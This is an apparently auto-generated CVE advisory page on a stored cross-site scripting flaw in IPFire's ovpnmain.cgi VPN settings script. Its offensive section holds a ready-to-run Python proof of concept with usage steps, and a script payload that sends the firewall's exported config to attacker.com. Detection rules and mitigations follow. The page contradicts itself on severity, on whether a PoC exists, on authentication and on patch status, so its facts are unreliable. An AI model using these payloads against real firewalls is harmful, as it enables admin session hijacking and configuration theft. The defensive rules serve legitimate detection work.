☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25398

CVE-2019-25398 Cross-Site Scripting in Ipfire
📅 PUBLISHED: 2026-02-18 20:59 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25398 is a critical cross-site scripting (XSS) vulnerability in IPFire 2.21 Core Update 127, specifically within the ovpnmain.cgi script. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into the administrator's browser session by submitting crafted POST requests to the VPN configuration interface. The vulnerability affects multiple parameters including VPN_IP, DMTU, ccdname, ccdsubnet, DOVPN_SUBNET, DHCP_DOMAIN, DHCP_DNS, DHCP_WINS, ROUTES_PUSH, FRAGMENT, KEEPALIVE_1, and KEEPALIVE_2. Successful exploitation could lead to session hijacking, credential theft, or further compromise of the IPFire firewall appliance. No official patch has been released, making this a high-priority issue for administrators still running the affected version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the IPFire firewall distribution. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must be an authenticated admin browsing the VPN config page
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) – limited data exposure via XSS
  • Integrity Impact: Low (I:L) – script execution can modify page content
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ability to target administrative interfaces elevates the risk for organizations still using IPFire 2.21 Core Update 127.

Deep Dive & Mechanics

The vulnerability resides in the ovpnmain.cgi CGI script, which handles OpenVPN configuration management. The script fails to properly sanitize user-supplied input before reflecting it back in the HTML response. An attacker can craft a POST request to the vulnerable endpoint with malicious JavaScript embedded in any of the listed parameters. When an administrator views the VPN configuration page (e.g., after submitting a form or navigating to the settings), the injected script executes in the context of the admin's browser session.

Key Parameters Vulnerable:

  • VPN_IP
  • DMTU
  • ccdname
  • ccdsubnet
  • DOVPN_SUBNET
  • DHCP_DOMAIN
  • DHCP_DNS
  • DHCP_WINS
  • ROUTES_PUSH
  • FRAGMENT
  • KEEPALIVE_1
  • KEEPALIVE_2

Attack Flow:

  1. Attacker identifies an IPFire instance running version 2.21 Core Update 127.
  2. Attacker sends a POST request to /cgi-bin/ovpnmain.cgi with a payload like <script>alert('XSS')</script> in the VPN_IP parameter.
  3. The script stores the malicious input in the VPN configuration database.
  4. When an administrator accesses the VPN settings page, the payload is rendered and executed.
  5. The attacker can then steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (IPFire 2.21 Core Update 127): The ovpnmain.cgi script directly outputs user input without sanitization. For example:

print "<input type='text' name='VPN_IP' value='$vpn_ip'>";

Where $vpn_ip is taken directly from the POST request.

Patched Code (Hypothetical Fix): A proper fix would use HTML entity encoding:

use CGI qw(escapeHTML);
print "<input type='text' name='VPN_IP' value='" . escapeHTML($vpn_ip) . "'>";

Or use a templating engine that auto-escapes output. No official patch has been released.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept Exploit:

import requests

target = "https://target-ipfire:444/cgi-bin/ovpnmain.cgi"
payload = "<script>alert('XSS')</script>"

data = {
    "VPN_IP": payload,
    "DMTU": "1500",
    "ccdname": "test",
    "ccdsubnet": "192.168.1.0/24",
    "DOVPN_SUBNET": "10.0.0.0/24",
    "DHCP_DOMAIN": "local",
    "DHCP_DNS": "8.8.8.8",
    "DHCP_WINS": "10.0.0.2",
    "ROUTES_PUSH": "192.168.2.0/24",
    "FRAGMENT": "1400",
    "KEEPALIVE_1": "10",
    "KEEPALIVE_2": "60"
}

response = requests.post(target, data=data, verify=False)
print(f"Payload sent. Status: {response.status_code}")

Usage:

  1. Replace target with the IPFire admin URL (default port 444).
  2. Run the script to inject the XSS payload.
  3. Wait for an admin to view the VPN configuration page.

Advanced Payload:

<script>
fetch('/cgi-bin/ovpnmain.cgi?action=export&file=config')
  .then(r => r.text())
  .then(d => fetch('https://attacker.com/steal?data=' + btoa(d)));
</script>

Blue Team (Defensive)

Detection Steps:

  1. Monitor HTTP POST requests to /cgi-bin/ovpnmain.cgi for suspicious parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
  2. Review web server logs for unusual parameter values in VPN_IP, DMTU, etc.
  3. Check for unexpected outbound connections from the IPFire admin interface to external IPs.

Mitigation:

  • Upgrade to a newer IPFire version (2.25 or later) if available.
  • Apply a WAF rule to block XSS patterns in POST parameters.
  • Restrict admin interface access to trusted IPs only.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /cgi-bin/ovpnmain.cgi with parameters containing <script> tags.
    • Outbound HTTP/HTTPS connections from IPFire to unknown external IPs on port 80/443.
  • File IOCs:
    • Modified VPN configuration files in /var/ipfire/ovpn/ containing JavaScript payloads.
  • Log IOCs:
    • Apache access logs showing POST /cgi-bin/ovpnmain.cgi with VPN_IP=<script> entries.
    • System logs showing unexpected wget or curl commands from the admin session.

Detection Engineering

YARA Rule

rule CVE_2019_25398_XSS_IPFire {
    meta:
        description = "Detects XSS payloads in IPFire ovpnmain.cgi POST parameters"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25398"
    strings:
        $xss1 = /VPN_IP=.*<script>/
        $xss2 = /DMTU=.*<script>/
        $xss3 = /ccdname=.*<script>/
        $xss4 = /ccdsubnet=.*<script>/
        $xss5 = /DOVPN_SUBNET=.*<script>/
        $xss6 = /DHCP_DOMAIN=.*<script>/
        $xss7 = /DHCP_DNS=.*<script>/
        $xss8 = /DHCP_WINS=.*<script>/
        $xss9 = /ROUTES_PUSH=.*<script>/
        $xss10 = /FRAGMENT=.*<script>/
        $xss11 = /KEEPALIVE_1=.*<script>/
        $xss12 = /KEEPALIVE_2=.*<script>/
    condition:
        any of ($xss*)
}

Sigma Rule

title: IPFire ovpnmain.cgi XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in POST requests to IPFire ovpnmain.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/ovpnmain.cgi'
        cs-uri-query|contains:
            - 'VPN_IP=<script>'
            - 'DMTU=<script>'
            - 'ccdname=<script>'
            - 'ccdsubnet=<script>'
            - 'DOVPN_SUBNET=<script>'
            - 'DHCP_DOMAIN=<script>'
            - 'DHCP_DNS=<script>'
            - 'DHCP_WINS=<script>'
            - 'ROUTES_PUSH=<script>'
            - 'FRAGMENT=<script>'
            - 'KEEPALIVE_1=<script>'
            - 'KEEPALIVE_2=<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in VPN config (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 444 (msg:"CVE-2019-25398 IPFire ovpnmain.cgi XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/ovpnmain.cgi"; http_uri; content:"VPN_IP"; http_client_body; pcre:"/(VPN_IP|DMTU|ccdname|ccdsubnet|DOVPN_SUBNET|DHCP_DOMAIN|DHCP_DNS|DHCP_WINS|ROUTES_PUSH|FRAGMENT|KEEPALIVE_1|KEEPALIVE_2)=.*<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade IPFire: If possible, upgrade to IPFire 2.25 or later, which includes security fixes for this and other vulnerabilities.
  2. Restrict Access: Limit admin interface access to trusted IPs using firewall rules.
  3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns in POST parameters.
  4. Input Validation: Manually patch ovpnmain.cgi to sanitize all user inputs using HTML entity encoding.

Long-Term Fix:

  • The vendor should release an official patch that properly escapes output in ovpnmain.cgi.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

  • Disable the VPN configuration web interface if not needed.
  • Use SSH-based VPN management instead of the web UI.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25398/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.